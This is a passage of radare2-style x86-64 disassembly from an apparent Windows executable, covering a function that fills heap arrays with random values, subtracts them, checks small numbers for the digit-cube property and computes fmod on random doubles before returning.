mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0xb20]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x748]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0xb20]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x748]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0xb20]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x740]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.ceil
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0xb20], 0x5d
jle 0x140002a84
mov ecx, 0x24
call sym.malloc
mov qword [rbp + 0x738], rax
mov ecx, 0x24
call sym.malloc
mov qword [rbp + 0x730], rax
mov ecx, 0x24
call sym.malloc
mov qword [rbp + 0x728], rax
mov dword [rbp + 0xb1c], 0
jmp 0x140002c92
mov dword [rbp + 0xb18], 0
jmp 0x140002c7e
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0xb1c]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x738]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0xb18]
cdqe
movss dword [rcx + rax*4], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0xb1c]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x730]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0xb18]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0xb18], 1
cmp dword [rbp + 0xb18], 8
jle 0x140002bb7
add dword [rbp + 0xb1c], 1
cmp dword [rbp + 0xb1c], 0
jle 0x140002ba8
mov dword [rbp + 0xb1c], 0
jmp 0x140002d6f
mov dword [rbp + 0xb18], 0
jmp 0x140002d5b
mov eax, dword [rbp + 0xb1c]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x738]
add rdx, rax
mov eax, dword [rbp + 0xb18]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0xb1c]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x730]
add rdx, rax
mov eax, dword [rbp + 0xb18]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0xb1c]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x728]
add rdx, rax
subss xmm0, xmm1
mov eax, dword [rbp + 0xb18]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0xb18], 1
cmp dword [rbp + 0xb18], 8
jle 0x140002cbd
add dword [rbp + 0xb1c], 1
cmp dword [rbp + 0xb1c], 0
jle 0x140002cae
mov rax, qword [rbp + 0x738]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x730]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x728]
mov rcx, rax
call sym.free
lea rdx, [rbp + 0xd0]
mov rax, qword [rbp + 0x768]
mov r8d, 0x1fe
mov rcx, rax
call sym.memmove
mov qword [rbp + 0xb08], 0
mov dword [rbp + 0xb14], 0x5d
jmp 0x140002df2
mov eax, dword [rbp + 0xb14]
cdqe
add qword [rbp + 0xb08], rax
sub dword [rbp + 0xb14], 1
cmp dword [rbp + 0xb14], 0
jg 0x140002ddc
mov dword [rbp + 0xb00], 1
jmp 0x140002eb7
mov dword [rbp + 0xb04], 0
mov eax, dword [rbp + 0xb00]
mov dword [rbp + 0xafc], eax
jmp 0x140002e8d
mov edx, dword [rbp + 0xafc]
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
mov ecx, eax
sar ecx, 2
mov eax, edx
sar eax, 0x1f
sub ecx, eax
mov eax, ecx
shl eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x2e8], edx
mov eax, dword [rbp + 0x2e8]
imul eax, eax
imul eax, dword [rbp + 0x2e8]
add dword [rbp + 0xb04], eax
mov eax, dword [rbp + 0xafc]
movsxd rdx, eax
imul rdx, rdx, 0x66666667
shr rdx, 0x20
mov ecx, edx
sar ecx, 2
cdq
mov eax, ecx
sub eax, edx
mov dword [rbp + 0xafc], eax
cmp dword [rbp + 0xafc], 0
jne 0x140002e22
mov eax, dword [rbp + 0xb04]
cmp eax, dword [rbp + 0xb00]
jne 0x140002eb0
mov eax, dword [rbp + 0xb00]
mov dword [rbp + 0x2ec], eax
add dword [rbp + 0xb00], 1
cmp dword [rbp + 0xb00], 0x10
jle 0x140002e0a
mov ecx, 8
call sym.malloc
mov qword [rbp + 0x720], rax
mov ecx, 8
call sym.malloc
mov qword [rbp + 0x718], rax
mov ecx, 8
call sym.malloc
mov qword [rbp + 0x710], rax
mov dword [rbp + 0xaf8], 0
jmp 0x140002fdc
mov dword [rbp + 0xaf4], 0
jmp 0x140002fc8
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0xaf8]
cdqe
lea rcx, [rax*8]
mov rax, qword [rbp + 0x720]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0xaf4]
cdqe
movss dword [rcx + rax*4], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0xaf8]
cdqe
lea rcx, [rax*8]
mov rax, qword [rbp + 0x718]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0xaf4]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0xaf4], 1
cmp dword [rbp + 0xaf4], 1
jle 0x140002f15
add dword [rbp + 0xaf8], 1
cmp dword [rbp + 0xaf8], 0
jle 0x140002f06
mov dword [rbp + 0xaf8], 0
jmp 0x14000309b
mov dword [rbp + 0xaf4], 0
jmp 0x140003087
mov eax, dword [rbp + 0xaf8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x720]
add rdx, rax
mov eax, dword [rbp + 0xaf4]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0xaf8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x718]
add rdx, rax
mov eax, dword [rbp + 0xaf4]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0xaf8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x710]
add rdx, rax
subss xmm0, xmm1
mov eax, dword [rbp + 0xaf4]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0xaf4], 1
cmp dword [rbp + 0xaf4], 1
jle 0x140003007
add dword [rbp + 0xaf8], 1
cmp dword [rbp + 0xaf8], 0
jle 0x140002ff8
mov rax, qword [rbp + 0x720]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x718]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x710]
mov rcx, rax
call sym.free
mov ecx, 0x1e0
call sym.malloc
mov qword [rbp + 0x708], rax
mov dword [rbp + 0xaf0], 0
jmp 0x140003130
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0xaf0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x708]
add rax, rdx
movsd xmm1, qword [0x14000c258]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0xaf0], 1
cmp dword [rbp + 0xaf0], 0x3b
jle 0x1400030f2
mov dword [rbp + 0xaf0], 0
jmp 0x1400031ca
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0xaf0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x708]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0xaf0]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x708]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.fmod
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0xaf0], 1
cmp dword [rbp + 0xaf0], 0x3b
jle 0x140003148
mov dword [rbp + 0xaec], 0
mov dword [rbp + 0xae8], 0
mov dword [rbp + 0xae4], 0
mov dword [rbp + 0xad8], 0
mov ecx, 0x10
call sym.malloc
mov qword [rbp + 0x700], rax
mov dword [rbp + 0xae0], 0
jmp 0x140003295
mov eax, 0
movups xmm6, xmmword [rbp + 0xbb0]
add rsp, 0xc48
pop rbx
pop rsi
pop rdi
pop rbp
ret